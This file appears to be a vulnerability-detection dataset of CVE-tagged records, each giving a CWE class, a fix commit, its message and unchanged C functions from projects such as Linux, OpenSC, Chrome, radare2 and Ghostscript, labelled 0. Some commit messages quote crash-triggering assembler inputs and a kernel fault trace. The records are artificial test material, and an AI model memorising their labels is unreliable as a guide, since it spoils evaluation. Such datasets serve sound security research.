Cc: stable@vger.kernel.org
Acked-by: Serge Hallyn <serge.hallyn@canonical.com>
Reported-by: Andy Lutomirski <luto@amacapital.net>
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com> | static void mntns_put(void *ns)
{
put_mnt_ns(ns);
}
| static void mntns_put(void *ns)
{
put_mnt_ns(ns);
}
| C | linux | 0 |
CVE-2018-16427 | https://www.cvedetails.com/cve/CVE-2018-16427/ | CWE-125 | https://github.com/OpenSC/OpenSC/pull/1447/commits/8fe377e93b4b56060e5bbfb6f3142ceaeca744fa | 8fe377e93b4b56060e5bbfb6f3142ceaeca744fa | fixed out of bounds reads
Thanks to Eric Sesterhenn from X41 D-SEC GmbH
for reporting and suggesting security fixes. | static int select_pkcs15_app(sc_card_t * card)
{
sc_path_t app;
int r;
/* Regular PKCS#15 AID */
sc_format_path("A000000063504B43532D3135", &app);
app.type = SC_PATH_TYPE_DF_NAME;
r = sc_select_file(card, &app, NULL);
return r;
}
| static int select_pkcs15_app(sc_card_t * card)
{
sc_path_t app;
int r;
/* Regular PKCS#15 AID */
sc_format_path("A000000063504B43532D3135", &app);
app.type = SC_PATH_TYPE_DF_NAME;
r = sc_select_file(card, &app, NULL);
return r;
}
| C | OpenSC | 0 |
CVE-2017-6903 | https://www.cvedetails.com/cve/CVE-2017-6903/ | CWE-269 | https://github.com/ioquake/ioq3/commit/376267d534476a875d8b9228149c4ee18b74a4fd | 376267d534476a875d8b9228149c4ee18b74a4fd | Don't load .pk3s as .dlls, and don't load user config files from .pk3s. | static void FS_CheckPak0( void )
{
searchpath_t *path;
pack_t *curpack;
qboolean founddemo = qfalse;
unsigned int foundPak = 0, foundTA = 0;
for( path = fs_searchpaths; path; path = path->next )
{
const char* pakBasename = path->pack->pakBasename;
if(!path->pack)
continue;
curpack = path->pack;
if(!Q_stricmpn( curpack->pakGamename, "demoq3", MAX_OSPATH )
&& !Q_stricmpn( pakBasename, "pak0", MAX_OSPATH ))
{
if(curpack->checksum == DEMO_PAK0_CHECKSUM)
founddemo = qtrue;
}
else if(!Q_stricmpn( curpack->pakGamename, BASEGAME, MAX_OSPATH )
&& strlen(pakBasename) == 4 && !Q_stricmpn( pakBasename, "pak", 3 )
&& pakBasename[3] >= '0' && pakBasename[3] <= '0' + NUM_ID_PAKS - 1)
{
if( curpack->checksum != pak_checksums[pakBasename[3]-'0'] )
{
if(pakBasename[3] == '0')
{
Com_Printf("\n\n"
"**************************************************\n"
"WARNING: " BASEGAME "/pak0.pk3 is present but its checksum (%u)\n"
"is not correct. Please re-copy pak0.pk3 from your\n"
"legitimate Q3 CDROM.\n"
"**************************************************\n\n\n",
curpack->checksum );
}
else
{
Com_Printf("\n\n"
"**************************************************\n"
"WARNING: " BASEGAME "/pak%d.pk3 is present but its checksum (%u)\n"
"is not correct. Please re-install the point release\n"
"**************************************************\n\n\n",
pakBasename[3]-'0', curpack->checksum );
}
}
foundPak |= 1<<(pakBasename[3]-'0');
}
else if(!Q_stricmpn(curpack->pakGamename, BASETA, MAX_OSPATH)
&& strlen(pakBasename) == 4 && !Q_stricmpn(pakBasename, "pak", 3)
&& pakBasename[3] >= '0' && pakBasename[3] <= '0' + NUM_TA_PAKS - 1)
{
if(curpack->checksum != missionpak_checksums[pakBasename[3]-'0'])
{
Com_Printf("\n\n"
"**************************************************\n"
"WARNING: " BASETA "/pak%d.pk3 is present but its checksum (%u)\n"
"is not correct. Please re-install Team Arena\n"
"**************************************************\n\n\n",
pakBasename[3]-'0', curpack->checksum );
}
foundTA |= 1 << (pakBasename[3]-'0');
}
else
{
int index;
for(index = 0; index < ARRAY_LEN(pak_checksums); index++)
{
if(curpack->checksum == pak_checksums[index])
{
Com_Printf("\n\n"
"**************************************************\n"
"WARNING: %s is renamed pak file %s%cpak%d.pk3\n"
"Running in standalone mode won't work\n"
"Please rename, or remove this file\n"
"**************************************************\n\n\n",
curpack->pakFilename, BASEGAME, PATH_SEP, index);
foundPak |= 0x80000000;
}
}
for(index = 0; index < ARRAY_LEN(missionpak_checksums); index++)
{
if(curpack->checksum == missionpak_checksums[index])
{
Com_Printf("\n\n"
"**************************************************\n"
"WARNING: %s is renamed pak file %s%cpak%d.pk3\n"
"Running in standalone mode won't work\n"
"Please rename, or remove this file\n"
"**************************************************\n\n\n",
curpack->pakFilename, BASETA, PATH_SEP, index);
foundTA |= 0x80000000;
}
}
}
}
if(!foundPak && !foundTA && Q_stricmp(com_basegame->string, BASEGAME))
{
Cvar_Set("com_standalone", "1");
}
else
Cvar_Set("com_standalone", "0");
if(!com_standalone->integer)
{
if(!(foundPak & 0x01))
{
if(founddemo)
{
Com_Printf( "\n\n"
"**************************************************\n"
"WARNING: It looks like you're using pak0.pk3\n"
"from the demo. This may work fine, but it is not\n"
"guaranteed or supported.\n"
"**************************************************\n\n\n" );
foundPak |= 0x01;
}
}
}
if(!com_standalone->integer && (foundPak & 0x1ff) != 0x1ff)
{
char errorText[MAX_STRING_CHARS] = "";
if((foundPak & 0x01) != 0x01)
{
Q_strcat(errorText, sizeof(errorText),
"\"pak0.pk3\" is missing. Please copy it "
"from your legitimate Q3 CDROM. ");
}
if((foundPak & 0x1fe) != 0x1fe)
{
Q_strcat(errorText, sizeof(errorText),
"Point Release files are missing. Please "
"re-install the 1.32 point release. ");
}
Q_strcat(errorText, sizeof(errorText),
va("Also check that your ioq3 executable is in "
"the correct place and that every file "
"in the \"%s\" directory is present and readable", BASEGAME));
Com_Error(ERR_FATAL, "%s", errorText);
}
if(!com_standalone->integer && foundTA && (foundTA & 0x0f) != 0x0f)
{
char errorText[MAX_STRING_CHARS] = "";
if((foundTA & 0x01) != 0x01)
{
Com_sprintf(errorText, sizeof(errorText),
"\"" BASETA "%cpak0.pk3\" is missing. Please copy it "
"from your legitimate Quake 3 Team Arena CDROM. ", PATH_SEP);
}
if((foundTA & 0x0e) != 0x0e)
{
Q_strcat(errorText, sizeof(errorText),
"Team Arena Point Release files are missing. Please "
"re-install the latest Team Arena point release.");
}
Com_Error(ERR_FATAL, "%s", errorText);
}
}
| static void FS_CheckPak0( void )
{
searchpath_t *path;
pack_t *curpack;
qboolean founddemo = qfalse;
unsigned int foundPak = 0, foundTA = 0;
for( path = fs_searchpaths; path; path = path->next )
{
const char* pakBasename = path->pack->pakBasename;
if(!path->pack)
continue;
curpack = path->pack;
if(!Q_stricmpn( curpack->pakGamename, "demoq3", MAX_OSPATH )
&& !Q_stricmpn( pakBasename, "pak0", MAX_OSPATH ))
{
if(curpack->checksum == DEMO_PAK0_CHECKSUM)
founddemo = qtrue;
}
else if(!Q_stricmpn( curpack->pakGamename, BASEGAME, MAX_OSPATH )
&& strlen(pakBasename) == 4 && !Q_stricmpn( pakBasename, "pak", 3 )
&& pakBasename[3] >= '0' && pakBasename[3] <= '0' + NUM_ID_PAKS - 1)
{
if( curpack->checksum != pak_checksums[pakBasename[3]-'0'] )
{
if(pakBasename[3] == '0')
{
Com_Printf("\n\n"
"**************************************************\n"
"WARNING: " BASEGAME "/pak0.pk3 is present but its checksum (%u)\n"
"is not correct. Please re-copy pak0.pk3 from your\n"
"legitimate Q3 CDROM.\n"
"**************************************************\n\n\n",
curpack->checksum );
}
else
{
Com_Printf("\n\n"
"**************************************************\n"
"WARNING: " BASEGAME "/pak%d.pk3 is present but its checksum (%u)\n"
"is not correct. Please re-install the point release\n"
"**************************************************\n\n\n",
pakBasename[3]-'0', curpack->checksum );
}
}
foundPak |= 1<<(pakBasename[3]-'0');
}
else if(!Q_stricmpn(curpack->pakGamename, BASETA, MAX_OSPATH)
&& strlen(pakBasename) == 4 && !Q_stricmpn(pakBasename, "pak", 3)
&& pakBasename[3] >= '0' && pakBasename[3] <= '0' + NUM_TA_PAKS - 1)
{
if(curpack->checksum != missionpak_checksums[pakBasename[3]-'0'])
{
Com_Printf("\n\n"
"**************************************************\n"
"WARNING: " BASETA "/pak%d.pk3 is present but its checksum (%u)\n"
"is not correct. Please re-install Team Arena\n"
"**************************************************\n\n\n",
pakBasename[3]-'0', curpack->checksum );
}
foundTA |= 1 << (pakBasename[3]-'0');
}
else
{
int index;
for(index = 0; index < ARRAY_LEN(pak_checksums); index++)
{
if(curpack->checksum == pak_checksums[index])
{
Com_Printf("\n\n"
"**************************************************\n"
"WARNING: %s is renamed pak file %s%cpak%d.pk3\n"
"Running in standalone mode won't work\n"
"Please rename, or remove this file\n"
"**************************************************\n\n\n",
curpack->pakFilename, BASEGAME, PATH_SEP, index);
foundPak |= 0x80000000;
}
}
for(index = 0; index < ARRAY_LEN(missionpak_checksums); index++)
{
if(curpack->checksum == missionpak_checksums[index])
{
Com_Printf("\n\n"
"**************************************************\n"
"WARNING: %s is renamed pak file %s%cpak%d.pk3\n"
"Running in standalone mode won't work\n"
"Please rename, or remove this file\n"
"**************************************************\n\n\n",
curpack->pakFilename, BASETA, PATH_SEP, index);
foundTA |= 0x80000000;
}
}
}
}
if(!foundPak && !foundTA && Q_stricmp(com_basegame->string, BASEGAME))
{
Cvar_Set("com_standalone", "1");
}
else
Cvar_Set("com_standalone", "0");
if(!com_standalone->integer)
{
if(!(foundPak & 0x01))
{
if(founddemo)
{
Com_Printf( "\n\n"
"**************************************************\n"
"WARNING: It looks like you're using pak0.pk3\n"
"from the demo. This may work fine, but it is not\n"
"guaranteed or supported.\n"
"**************************************************\n\n\n" );
foundPak |= 0x01;
}
}
}
if(!com_standalone->integer && (foundPak & 0x1ff) != 0x1ff)
{
char errorText[MAX_STRING_CHARS] = "";
if((foundPak & 0x01) != 0x01)
{
Q_strcat(errorText, sizeof(errorText),
"\"pak0.pk3\" is missing. Please copy it "
"from your legitimate Q3 CDROM. ");
}
if((foundPak & 0x1fe) != 0x1fe)
{
Q_strcat(errorText, sizeof(errorText),
"Point Release files are missing. Please "
"re-install the 1.32 point release. ");
}
Q_strcat(errorText, sizeof(errorText),
va("Also check that your ioq3 executable is in "
"the correct place and that every file "
"in the \"%s\" directory is present and readable", BASEGAME));
Com_Error(ERR_FATAL, "%s", errorText);
}
if(!com_standalone->integer && foundTA && (foundTA & 0x0f) != 0x0f)
{
char errorText[MAX_STRING_CHARS] = "";
if((foundTA & 0x01) != 0x01)
{
Com_sprintf(errorText, sizeof(errorText),
"\"" BASETA "%cpak0.pk3\" is missing. Please copy it "
"from your legitimate Quake 3 Team Arena CDROM. ", PATH_SEP);
}
if((foundTA & 0x0e) != 0x0e)
{
Q_strcat(errorText, sizeof(errorText),
"Team Arena Point Release files are missing. Please "
"re-install the latest Team Arena point release.");
}
Com_Error(ERR_FATAL, "%s", errorText);
}
}
| C | OpenJK | 0 |
CVE-2012-5148 | https://www.cvedetails.com/cve/CVE-2012-5148/ | CWE-20 | https://github.com/chromium/chromium/commit/e89cfcb9090e8c98129ae9160c513f504db74599 | e89cfcb9090e8c98129ae9160c513f504db74599 | Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98 | void BrowserWindowGtk::RegisterUserPrefs(PrefService* prefs) {
bool custom_frame_default = false;
if (ui::XDisplayExists() &&
!prefs->HasPrefPath(prefs::kUseCustomChromeFrame)) {
custom_frame_default = GetCustomFramePrefDefault();
}
prefs->RegisterBooleanPref(prefs::kUseCustomChromeFrame,
custom_frame_default,
PrefService::SYNCABLE_PREF);
}
| void BrowserWindowGtk::RegisterUserPrefs(PrefService* prefs) {
bool custom_frame_default = false;
if (ui::XDisplayExists() &&
!prefs->HasPrefPath(prefs::kUseCustomChromeFrame)) {
custom_frame_default = GetCustomFramePrefDefault();
}
prefs->RegisterBooleanPref(prefs::kUseCustomChromeFrame,
custom_frame_default,
PrefService::SYNCABLE_PREF);
}
| C | Chrome | 0 |
CVE-2018-20456 | https://www.cvedetails.com/cve/CVE-2018-20456/ | CWE-125 | https://github.com/radare/radare2/commit/9b46d38dd3c4de6048a488b655c7319f845af185 | 9b46d38dd3c4de6048a488b655c7319f845af185 | Fix #12372 and #12373 - Crash in x86 assembler (#12380)
0 ,0,[bP-bL-bP-bL-bL-r-bL-bP-bL-bL-
mov ,0,[ax+Bx-ax+Bx-ax+ax+Bx-ax+Bx--
leA ,0,[bP-bL-bL-bP-bL-bP-bL-60@bL-
leA ,0,[bP-bL-r-bP-bL-bP-bL-60@bL-
mov ,0,[ax+Bx-ax+Bx-ax+ax+Bx-ax+Bx-- | static int opfsave(RAsm *a, ut8 *data, const Opcode *op) {
int l = 0;
switch (op->operands_count) {
case 1:
if ( op->operands[0].type & OT_MEMORY &&
op->operands[0].type & OT_DWORD ) {
data[l++] = 0x9b;
data[l++] = 0xdd;
data[l++] = 0x30 | op->operands[0].regs[0];
} else {
return -1;
}
break;
default:
return -1;
}
return l;
}
| static int opfsave(RAsm *a, ut8 *data, const Opcode *op) {
int l = 0;
switch (op->operands_count) {
case 1:
if ( op->operands[0].type & OT_MEMORY &&
op->operands[0].type & OT_DWORD ) {
data[l++] = 0x9b;
data[l++] = 0xdd;
data[l++] = 0x30 | op->operands[0].regs[0];
} else {
return -1;
}
break;
default:
return -1;
}
return l;
}
| C | radare2 | 0 |
CVE-2018-16540 | https://www.cvedetails.com/cve/CVE-2018-16540/ | CWE-416 | http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=c432131c3fdb2143e148e8ba88555f7f7a63b25e | c432131c3fdb2143e148e8ba88555f7f7a63b25e | null | static void pdf14_cleanup_parent_color_profiles (pdf14_device *pdev)
{
if (pdev->ctx) {
pdf14_buf *buf, *next;
for (buf = pdev->ctx->stack; buf != NULL; buf = next) {
pdf14_parent_color_t *old_parent_color_info = buf->parent_color_info_procs;
next = buf->saved;
while (old_parent_color_info) {
if (old_parent_color_info->icc_profile != NULL) {
cmm_profile_t *group_profile;
gsicc_rendering_param_t render_cond;
cmm_dev_profile_t *dev_profile;
int code = dev_proc((gx_device *)pdev, get_profile)((gx_device *)pdev, &dev_profile);
if (code >= 0) {
gsicc_extract_profile(GS_UNKNOWN_TAG, dev_profile, &group_profile,
&render_cond);
gsicc_adjust_profile_rc(pdev->icc_struct->device_profile[0], -1, "pdf14_end_transparency_group");
pdev->icc_struct->device_profile[0] = old_parent_color_info->icc_profile;
old_parent_color_info->icc_profile = NULL;
}
}
old_parent_color_info = old_parent_color_info->previous;
}
}
}
}
| static void pdf14_cleanup_parent_color_profiles (pdf14_device *pdev)
{
if (pdev->ctx) {
pdf14_buf *buf, *next;
for (buf = pdev->ctx->stack; buf != NULL; buf = next) {
pdf14_parent_color_t *old_parent_color_info = buf->parent_color_info_procs;
next = buf->saved;
while (old_parent_color_info) {
if (old_parent_color_info->icc_profile != NULL) {
cmm_profile_t *group_profile;
gsicc_rendering_param_t render_cond;
cmm_dev_profile_t *dev_profile;
int code = dev_proc((gx_device *)pdev, get_profile)((gx_device *)pdev, &dev_profile);
if (code >= 0) {
gsicc_extract_profile(GS_UNKNOWN_TAG, dev_profile, &group_profile,
&render_cond);
gsicc_adjust_profile_rc(pdev->icc_struct->device_profile[0], -1, "pdf14_end_transparency_group");
pdev->icc_struct->device_profile[0] = old_parent_color_info->icc_profile;
old_parent_color_info->icc_profile = NULL;
}
}
old_parent_color_info = old_parent_color_info->previous;
}
}
}
}
| C | ghostscript | 0 |
CVE-2018-1000040 | https://www.cvedetails.com/cve/CVE-2018-1000040/ | CWE-20 | http://git.ghostscript.com/?p=mupdf.git;a=commitdiff;h=83d4dae44c71816c084a635550acc1a51529b881;hp=f597300439e62f5e921f0d7b1e880b5c1a1f1607 | 83d4dae44c71816c084a635550acc1a51529b881 | null | static void fast_rgb_to_cmyk(fz_context *ctx, fz_pixmap *dst, fz_pixmap *src, fz_colorspace *prf, const fz_default_colorspaces *default_cs, const fz_color_params *color_params, int copy_spots)
{
unsigned char *s = src->samples;
unsigned char *d = dst->samples;
size_t w = src->w;
int h = src->h;
int sn = src->n;
int ss = src->s;
int sa = src->alpha;
int dn = dst->n;
int ds = dst->s;
int da = dst->alpha;
ptrdiff_t d_line_inc = dst->stride - w * dn;
ptrdiff_t s_line_inc = src->stride - w * sn;
/* Spots must match, and we can never drop alpha (but we can invent it) */
if ((copy_spots || ss != ds) || (!da && sa))
{
assert("This should never happen" == NULL);
fz_throw(ctx, FZ_ERROR_GENERIC, "Cannot convert between incompatible pixmaps");
}
if ((int)w < 0 || h < 0)
return;
if (d_line_inc == 0 && s_line_inc == 0)
{
w *= h;
h = 1;
}
if (ss == 0 && ds == 0)
{
/* Common, no spots case */
if (da)
{
if (sa)
{
while (h--)
{
size_t ww = w;
while (ww--)
{
unsigned char c = s[0];
unsigned char m = s[1];
unsigned char y = s[2];
unsigned char k = (unsigned char)fz_mini(c, fz_mini(m, y));
d[0] = c - k;
d[1] = m - k;
d[2] = y - k;
d[3] = k;
d[4] = s[3];
s += 4;
d += 5;
}
d += d_line_inc;
s += s_line_inc;
}
}
else
{
while (h--)
{
size_t ww = w;
while (ww--)
{
unsigned char c = s[0];
unsigned char m = s[1];
unsigned char y = s[2];
unsigned char k = (unsigned char)fz_mini(c, fz_mini(m, y));
d[0] = c - k;
d[1] = m - k;
d[2] = y - k;
d[3] = k;
d[4] = 255;
s += 3;
d += 5;
}
d += d_line_inc;
s += s_line_inc;
}
}
}
else
{
while (h--)
{
size_t ww = w;
while (ww--)
{
unsigned char c = s[0];
unsigned char m = s[1];
unsigned char y = s[2];
unsigned char k = (unsigned char)fz_mini(c, fz_mini(m, y));
d[0] = c - k;
d[1] = m - k;
d[2] = y - k;
d[3] = k;
s += 3;
d += 4;
}
d += d_line_inc;
s += s_line_inc;
}
}
}
else if (copy_spots)
{
/* Slower, spots capable version */
while (h--)
{
int i;
size_t ww = w;
while (ww--)
{
unsigned char c = s[0];
unsigned char m = s[1];
unsigned char y = s[2];
unsigned char k = (unsigned char)fz_mini(c, fz_mini(m, y));
d[0] = c - k;
d[1] = m - k;
d[2] = y - k;
d[3] = k;
s += 3;
d += 4;
for (i=ss; i > 0; i--)
*d++ = *s++;
if (da)
*d++ = sa ? *s++ : 255;
}
d += d_line_inc;
s += s_line_inc;
}
}
else
{
while (h--)
{
size_t ww = w;
while (ww--)
{
unsigned char c = s[0];
unsigned char m = s[1];
unsigned char y = s[2];
unsigned char k = (unsigned char)(255 - fz_maxi(c, fz_maxi(m, y)));
d[0] = c + k;
d[1] = m + k;
d[2] = y + k;
d[3] = 255 - k;
s += sn;
d += dn;
if (da)
d[-1] = sa ? s[-1] : 255;
}
d += d_line_inc;
s += s_line_inc;
}
}
}
| static void fast_rgb_to_cmyk(fz_context *ctx, fz_pixmap *dst, fz_pixmap *src, fz_colorspace *prf, const fz_default_colorspaces *default_cs, const fz_color_params *color_params, int copy_spots)
{
unsigned char *s = src->samples;
unsigned char *d = dst->samples;
size_t w = src->w;
int h = src->h;
int sn = src->n;
int ss = src->s;
int sa = src->alpha;
int dn = dst->n;
int ds = dst->s;
int da = dst->alpha;
ptrdiff_t d_line_inc = dst->stride - w * dn;
ptrdiff_t s_line_inc = src->stride - w * sn;
/* Spots must match, and we can never drop alpha (but we can invent it) */
if ((copy_spots || ss != ds) || (!da && sa))
{
assert("This should never happen" == NULL);
fz_throw(ctx, FZ_ERROR_GENERIC, "Cannot convert between incompatible pixmaps");
}
if ((int)w < 0 || h < 0)
return;
if (d_line_inc == 0 && s_line_inc == 0)
{
w *= h;
h = 1;
}
if (ss == 0 && ds == 0)
{
/* Common, no spots case */
if (da)
{
if (sa)
{
while (h--)
{
size_t ww = w;
while (ww--)
{
unsigned char c = s[0];
unsigned char m = s[1];
unsigned char y = s[2];
unsigned char k = (unsigned char)fz_mini(c, fz_mini(m, y));
d[0] = c - k;
d[1] = m - k;
d[2] = y - k;
d[3] = k;
d[4] = s[3];
s += 4;
d += 5;
}
d += d_line_inc;
s += s_line_inc;
}
}
else
{
while (h--)
{
size_t ww = w;
while (ww--)
{
unsigned char c = s[0];
unsigned char m = s[1];
unsigned char y = s[2];
unsigned char k = (unsigned char)fz_mini(c, fz_mini(m, y));
d[0] = c - k;
d[1] = m - k;
d[2] = y - k;
d[3] = k;
d[4] = 255;
s += 3;
d += 5;
}
d += d_line_inc;
s += s_line_inc;
}
}
}
else
{
while (h--)
{
size_t ww = w;
while (ww--)
{
unsigned char c = s[0];
unsigned char m = s[1];
unsigned char y = s[2];
unsigned char k = (unsigned char)fz_mini(c, fz_mini(m, y));
d[0] = c - k;
d[1] = m - k;
d[2] = y - k;
d[3] = k;
s += 3;
d += 4;
}
d += d_line_inc;
s += s_line_inc;
}
}
}
else if (copy_spots)
{
/* Slower, spots capable version */
while (h--)
{
int i;
size_t ww = w;
while (ww--)
{
unsigned char c = s[0];
unsigned char m = s[1];
unsigned char y = s[2];
unsigned char k = (unsigned char)fz_mini(c, fz_mini(m, y));
d[0] = c - k;
d[1] = m - k;
d[2] = y - k;
d[3] = k;
s += 3;
d += 4;
for (i=ss; i > 0; i--)
*d++ = *s++;
if (da)
*d++ = sa ? *s++ : 255;
}
d += d_line_inc;
s += s_line_inc;
}
}
else
{
while (h--)
{
size_t ww = w;
while (ww--)
{
unsigned char c = s[0];
unsigned char m = s[1];
unsigned char y = s[2];
unsigned char k = (unsigned char)(255 - fz_maxi(c, fz_maxi(m, y)));
d[0] = c + k;
d[1] = m + k;
d[2] = y + k;
d[3] = 255 - k;
s += sn;
d += dn;
if (da)
d[-1] = sa ? s[-1] : 255;
}
d += d_line_inc;
s += s_line_inc;
}
}
}
| C | ghostscript | 0 |
CVE-2012-2890 | https://www.cvedetails.com/cve/CVE-2012-2890/ | CWE-399 | https://github.com/chromium/chromium/commit/a6f7726de20450074a01493e4e85409ce3f2595a | a6f7726de20450074a01493e4e85409ce3f2595a | Unreviewed, rolling out r147402.
http://trac.webkit.org/changeset/147402
https://bugs.webkit.org/show_bug.cgi?id=112903
Source/WebCore:
* dom/Document.cpp:
(WebCore::Document::processHttpEquiv):
* loader/DocumentLoader.cpp:
(WebCore::DocumentLoader::responseReceived):
LayoutTests:
* http/tests/security/XFrameOptions/x-frame-options-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body.html:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag.html:
* http/tests/security/XFrameOptions/x-frame-options-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny.html:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny-expected.txt:
git-svn-id: svn://svn.chromium.org/blink/trunk@147450 bbb929c8-8fbe-4397-9dbb-9b2b20218538 | void Document::documentDidResumeFromPageCache()
{
Vector<Element*> elements;
copyToVector(m_documentSuspensionCallbackElements, elements);
Vector<Element*>::iterator end = elements.end();
for (Vector<Element*>::iterator i = elements.begin(); i != end; ++i)
(*i)->documentDidResumeFromPageCache();
#if USE(ACCELERATED_COMPOSITING)
if (renderer())
renderView()->setIsInWindow(true);
#endif
if (FrameView* frameView = view())
frameView->setAnimatorsAreActive();
ASSERT(m_frame);
m_frame->loader()->client()->dispatchDidBecomeFrameset(isFrameSet());
}
| void Document::documentDidResumeFromPageCache()
{
Vector<Element*> elements;
copyToVector(m_documentSuspensionCallbackElements, elements);
Vector<Element*>::iterator end = elements.end();
for (Vector<Element*>::iterator i = elements.begin(); i != end; ++i)
(*i)->documentDidResumeFromPageCache();
#if USE(ACCELERATED_COMPOSITING)
if (renderer())
renderView()->setIsInWindow(true);
#endif
if (FrameView* frameView = view())
frameView->setAnimatorsAreActive();
ASSERT(m_frame);
m_frame->loader()->client()->dispatchDidBecomeFrameset(isFrameSet());
}
| C | Chrome | 0 |
CVE-2019-15922 | https://www.cvedetails.com/cve/CVE-2019-15922/ | CWE-476 | https://github.com/torvalds/linux/commit/58ccd2d31e502c37e108b285bf3d343eb00c235b | 58ccd2d31e502c37e108b285bf3d343eb00c235b | paride/pf: Fix potential NULL pointer dereference
Syzkaller report this:
pf: pf version 1.04, major 47, cluster 64, nice 0
pf: No ATAPI disk detected
kasan: CONFIG_KASAN_INLINE enabled
kasan: GPF could be caused by NULL-ptr deref or user memory access
general protection fault: 0000 [#1] SMP KASAN PTI
CPU: 0 PID: 9887 Comm: syz-executor.0 Tainted: G C 5.1.0-rc3+ #8
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
RIP: 0010:pf_init+0x7af/0x1000 [pf]
Code: 46 77 d2 48 89 d8 48 c1 e8 03 80 3c 28 00 74 08 48 89 df e8 03 25 a6 d2 4c 8b 23 49 8d bc 24 80 05 00 00 48 89 f8 48 c1 e8 03 <80> 3c 28 00 74 05 e8 e6 24 a6 d2 49 8b bc 24 80 05 00 00 e8 79 34
RSP: 0018:ffff8881abcbf998 EFLAGS: 00010202
RAX: 00000000000000b0 RBX: ffffffffc1e4a8a8 RCX: ffffffffaec50788
RDX: 0000000000039b10 RSI: ffffc9000153c000 RDI: 0000000000000580
RBP: dffffc0000000000 R08: ffffed103ee44e59 R09: ffffed103ee44e59
R10: 0000000000000001 R11: ffffed103ee44e58 R12: 0000000000000000
R13: ffffffffc1e4b028 R14: 0000000000000000 R15: 0000000000000020
FS: 00007f1b78a91700(0000) GS:ffff8881f7200000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f6d72b207f8 CR3: 00000001d5790004 CR4: 00000000007606f0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
? 0xffffffffc1e50000
do_one_initcall+0xbc/0x47d init/main.c:901
do_init_module+0x1b5/0x547 kernel/module.c:3456
load_module+0x6405/0x8c10 kernel/module.c:3804
__do_sys_finit_module+0x162/0x190 kernel/module.c:3898
do_syscall_64+0x9f/0x450 arch/x86/entry/common.c:290
entry_SYSCALL_64_after_hwframe+0x49/0xbe
RIP: 0033:0x462e99
Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f1b78a90c58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139
RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99
RDX: 0000000000000000 RSI: 0000000020000180 RDI: 0000000000000003
RBP: 00007f1b78a90c70 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007f1b78a916bc
R13: 00000000004bcefa R14: 00000000006f6fb0 R15: 0000000000000004
Modules linked in: pf(+) paride gpio_tps65218 tps65218 i2c_cht_wc ati_remote dc395x act_meta_skbtcindex act_ife ife ecdh_generic rc_xbox_dvd sky81452_regulator v4l2_fwnode leds_blinkm snd_usb_hiface comedi(C) aes_ti slhc cfi_cmdset_0020 mtd cfi_util sx8654 mdio_gpio of_mdio fixed_phy mdio_bitbang libphy alcor_pci matrix_keymap hid_uclogic usbhid scsi_transport_fc videobuf2_v4l2 videobuf2_dma_sg snd_soc_pcm179x_spi snd_soc_pcm179x_codec i2c_demux_pinctrl mdev snd_indigodj isl6405 mii enc28j60 cmac adt7316_i2c(C) adt7316(C) fmc_trivial fmc nf_reject_ipv4 authenc rc_dtt200u rtc_ds1672 dvb_usb_dibusb_mc dvb_usb_dibusb_mc_common dib3000mc dibx000_common dvb_usb_dibusb_common dvb_usb dvb_core videobuf2_common videobuf2_vmalloc videobuf2_memops regulator_haptic adf7242 mac802154 ieee802154 s5h1409 da9034_ts snd_intel8x0m wmi cx24120 usbcore sdhci_cadence sdhci_pltfm sdhci mmc_core joydev i2c_algo_bit scsi_transport_iscsi iscsi_boot_sysfs ves1820 lockd grace nfs_acl auth_rpcgss sunrp
c
